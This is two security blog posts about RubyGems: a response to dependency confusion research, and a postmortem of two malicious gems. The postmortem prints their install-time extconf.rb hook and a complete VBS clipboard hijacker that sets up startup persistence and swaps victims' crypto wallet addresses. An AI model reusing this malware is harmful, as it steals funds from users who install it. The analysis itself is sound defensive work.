Tag: security

RubyGems dependency confusion attack side of things

Note: This article is not to deprecate any of the findings and achievements of Alex Birsan. He did great work exploiting specific vulnerabilities and patterns. It is to present the RubyGems side of the story and to reassure you. We actively work to provide a healthy and safe ecosystem for our users.

After reading the Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies I felt, that the Ruby community requires a bit of explanation from people involved in RubyGems security assessment. So here it is.

It’s you who is responsible for the security of your software, and bugs do exist

First of all, let me remind you that your system security should never rely solely on other people’s OSS work. In the end, it will be your system that will get hacked. Secondly, any software has bugs, whether we’re talking about Bundler, RubyGems, Yarn, or any other piece of code.

Looking at this incident as someone heavily involved with making the Ruby ecosystem secure, RubyGems did everything right.

Does RubyGems allow for malicious packages?

Starting from September 2020, Alex has uploaded gems used for his research. Diffend spotted them, and each of the findings was reported to the RubyGems security team.

RubyGems security team assessed each of them, going through the source codes to ensure they were not malicious. And they were not. The reason why they were allowed to stay is that:

  1. A security researcher uploaded them that we knew of.
  2. They included a description and reasoning why they do what they do (see here).
  3. Several people from RubyGems checked them to ensure they were not doing any harm.

RubyGems policy regarding gems is simple:

As long as the gem is not doing any harm or is not misleading in a harmful way, it won’t be removed.

Thousands of gems download things upon being installed, run compilers, and send requests over the internet. For some advanced cases, there is no other way.

It is a constant race

We inspect gems and take many countermeasures to ensure the whole ecosystem’s safety. While we cannot promise you that we will catch every single attack ever, we are making progress, and we are getting better and better with our detection systems.

Even the day I’m writing this article, we’ve yanked (removed) 8 gems that were a build-up for a more significant scale attack.

It is not about RubyGems only but also about Bundler

Bundler is a complex piece of code. The resolving engine needs to deal with many corner-cases. Security of resolution is the most important thing, but other factors like correctness and speed are also important.

While we do not know the exact way of installing those gems, our gut feeling is that they might have been resolved “incorrectly”. “Incorrectly,” however, indicates that they were resolved in an invalid way. At the same time, it may turn out that they were resolved exactly as expected but not as the end-user/programmer wanted. It might be, that it was due to this bug. That is, “dependency of my dependency will be checked in RubyGems.”

I use private gems, please help!

If you use private gems with private dependencies, you can do few things at the moment:

  1. Most important: Update Bundler once the patch is released.
  2. Most important: Update Bundler to the 2.2.10 version.
  3. Always use Bundler source blocks to ensure that private gems can only come from private sources. If your private gems depend on other private gems, you may need to declare those gems in the private source block as well.
  4. Setup a tool like Diffend and create rules that will block Bundler from using RubyGems as a source for gems that match your internal gems naming conventions.
  5. Mirror RubyGems and upstream only gems you are interested in + your own.
  6. [workaround] Book the gems names in RubyGems (althought this may also be a potential insight for hackers into internal naming conventions of your company).

Summary

So yes, there was a bug in Bundler (fixed in 2.2.10), but at the same time, if it was not for explicit permission from the RubyGems security team, those gems would have been yanked soon after they were released. That’s why in this particular case, I would rather say that those companies got “researched” rather than hacked.

This incident made RubyGems reconsider the “no harm” policy, and it may be subject to change in the near future.


Cover photo by Jan Hrdina on Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0).

RubyGems Bitcoin Stealing Malware postmortem

Introduction

On the 7th and 13th of December, there were two malicious packages uploaded to RubyGems. Here’s the postmortem and analysis of the packages’ content.

Diffend.io platform that I run closely cooperates with the RubyGems team, providing immediate insights into any gems that have “weird” characteristics. Thanks to that, the gems were yanked relatively fast.

ruby-bitcoin postmortem

On the 7th of December 2020, the ruby-bitcoin package was pinpointed for inspection. On a first glimpse, it seemed legit:

It had a decent amount of “stars” from Github, and there was a Github repository that “looked” like expected. However, all of it was a hoax. This gem was just a shallow copy of the popular bitcoin-ruby library.

Typosquattings of popular gems are no longer allowed on RubyGems, but brandjacking is a an entirely different story. The attacker chose to reverse the -ruby naming and turn it to his advantage. There is no clear convention whether to call things with -ruby postfix or ruby- prefix, and both are allowed and used. There are gems like ruby-kafka as well as bitcoin-ruby. This makes things easier for attackers.

The code that was uploaded used the “not an exploit but a feature” feature of ruby gems, which is the extconf.rb gateway into install code execution. While it is not the only way to do malicious things, it is by far the most common approach due to its simplicity and the fact that an accidental install without requiring or execution is more than enough to infect the machine on which the gem was installed.

The important extconf.rb parts look as followed (removed non-relevant code and re-formatted for better readability):

begin
  os = RbConfig::CONFIG['host_os']

  if os.match(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
      vbs_out = "RGltIG9ialdTSCxv---...---IA0K"
      content = Base64.decode64(vbs_out.gsub("---", ""))
      File.open("the_Score.vbs", "w") { |file| file.write(content) }
      cmd = "d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "")
      decoded_cmd = Base64.decode64(cmd)
      system(decoded_cmd)
  end
rescue => e
end

Full codebase available here.

Upon this gem installation, in case it was Windows OS, a Visual Basic file has been created and executed. The enigmatic "d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "") when decoded is just a Windows Script Host command: wscript the_Score.vbs.

Windows Script Host provides an environment in which users can execute scripts in a variety of languages that use a variety of object models to perform tasks.

What is more interesting, is the Visual Basic script itself:

Dim objWSH,objFSO
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next
Dim Fygna, Nfbvm, Sctcr, Zvofm, Fobuo, Rlfad
Fygna = "bc1qgmem0e4mjejg4lpp03tzlmhfpj580wv5hhkf3p"
Nfbvm = "467FN8ns2MRYfLVEuyiMUKisvjz7zYaS9PkJVXVCMSwq37NeesHJpkfG44mxEFHu8Nd9VDtcVy4kM9iVD7so87CAH2iteLg"
Sctcr = "0xcB56f3793cA713813f6f4909D7ad2a6EEe41eF5e"
Zvofm = objWSH.ExpandEnvironmentStrings("%PROGRAMDATA%") & "\Microsoft Essentials"
Fobuo = Zvofm & "\Software Essentials.vbs"
Rlfad = "Microsoft Software Essentials"
If Not objFSO.Folderexists(Zvofm) then
objFSO.CreateFolder Zvofm
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", Rlfad, chr(34) & Fobuo & chr(34)
Call Lncpp()
objWSH.run chr(34) & Fobuo & chr(34)
Set objWSH = Nothing
Set objFSO = Nothing
Sub Lncpp
    Dim Sdrqq
    Set Sdrqq = objFSO.CreateTextFile(Fobuo, True)
    Sdrqq.WriteLine "On Error Resume Next"
    Sdrqq.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
    Sdrqq.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
    Sdrqq.WriteLine "Do"
    Sdrqq.WriteLine "wscript.sleep(1000)"
    Sdrqq.WriteLine "Twwzb = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
    Sdrqq.WriteLine "Vsuvu = Len(Twwzb)"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "1" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "3" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "4" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 95 and Vsuvu <= 106 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "p" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"		
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "0" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Sctcr & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "Loop"
    Sdrqq.Close
	Set Sdrqq = Nothing
End Sub

This code registers itself to always run on startup and, when invoked, keeps track of the machine clipboard. Whenever a bitcoin wallet ID would be detected, it would be replaced with the attacker’s one.

Did it affect anyone? Hard to say with absolute certainty. The gem was uploaded around 10 pm CET on the 7th of December and was available for around 12 hours. During that time, it got 53 downloads. 50-70 downloads for any new gem is a number indicating, no-one used it. Those downloads are usually triggered by mirroring and analytics platforms based on the webhooks fired by RubyGems. In their case, gems are downloaded but not installed.

pretty_color postmortem

While ruby-bitcoin contained only malicious code, pretty_color actually used a legit codebase from a library called colorize to hide the malicious code.

The malicious code is pretty much the same as in the previous example, however, the execution flow is different. This time it’s not the extconf.rb that triggers the execution but an actual usage attempt:

module TestRuby
  VERSION = "0.1.0"
  class TestVersion
    def self.test
      begin
        # same code as with ruby-bitcoin
      rescue
        p
      end
    end
  end
end

TestRuby::TestVersion.test

I’m certain we can expect more malicious packages that base their names on popular libraries from other package managers.

Summary

I do not underestimate the risks of this type of attack; however, what worries me more are the OSS supply chain attacks designed to cause havoc in the applications in which they are being used. Either by stealing production data, running botnets, or mining coins.

Due to the nature of RubyGems, everyone is allowed to upload anything they want. As long as the packages are not harmful, they are permitted to stay. This means, that research packages like this one, despite collecting and sending data, will not be removed. This makes things a bit harder. There is still some noise from packages that have strong indicators of being malicious while actually not causing any harm.

How to protect yourself against threats like this? That’s a question for a different article, but you can start by being strict whenever you add new dependencies and not relying on new packages. You can also use the free Diffend.io plugin to impose the policies you want to have without any manual interactions.


Cover photo by QuoteInspector.com on Attribution-NoDerivs 2.0 Generic (CC BY-ND 2.0) license.

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